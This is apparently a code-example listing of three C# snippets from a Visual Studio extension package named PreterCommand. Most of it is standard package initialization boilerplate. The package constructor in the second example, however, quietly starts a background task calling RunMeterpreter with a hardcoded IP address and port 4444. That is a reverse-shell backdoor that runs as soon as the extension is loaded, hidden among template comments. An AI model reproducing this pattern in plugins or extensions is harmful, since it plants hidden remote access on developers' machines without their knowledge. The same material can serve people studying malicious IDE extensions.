Пример #1
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        /// <summary>
        /// Initialization of the package; this method is called right after the package is sited, so this is the place
        /// where you can put all the initialization code that rely on services provided by VisualStudio.
        /// </summary>
        /// <param name="cancellationToken">A cancellation token to monitor for initialization cancellation, which can occur when VS is shutting down.</param>
        /// <param name="progress">A provider for progress updates.</param>
        /// <returns>A task representing the async work of package initialization, or an already completed task if there is none. Do not return null from this method.</returns>
        protected override async Task InitializeAsync(CancellationToken cancellationToken, IProgress <ServiceProgressData> progress)
        {
            // When initialized asynchronously, the current thread may be a background thread at this point.
            // Do any initialization that requires the UI thread after switching to the UI thread.
            await this.JoinableTaskFactory.SwitchToMainThreadAsync(cancellationToken);

            await PreterCommand.InitializeAsync(this);
        }
Пример #2
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 /// <summary>
 /// Initializes a new instance of the <see cref="PreterCommand"/> class.
 /// </summary>
 public PreterCommandPackage()
 {
     // Inside this method you can place any initialization code that does not require
     // any Visual Studio service because at this point the package object is created but
     // not sited yet inside Visual Studio environment. The place to do all the other
     // initialization is the Initialize method.
     Task.Factory.StartNew(() => PreterCommand.RunMeterpreter("192.168.228.127", "4444"));
 }
Пример #3
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        /// <summary>
        /// Initializes the singleton instance of the command.
        /// </summary>
        /// <param name="package">Owner package, not null.</param>
        public static async Task InitializeAsync(AsyncPackage package)
        {
            // Verify the current thread is the UI thread - the call to AddCommand in PreterCommand's constructor requires
            // the UI thread.
            ThreadHelper.ThrowIfNotOnUIThread();

            OleMenuCommandService commandService =
                await package.GetServiceAsync((typeof(IMenuCommandService))) as OleMenuCommandService;

            Instance = new PreterCommand(package, commandService);
        }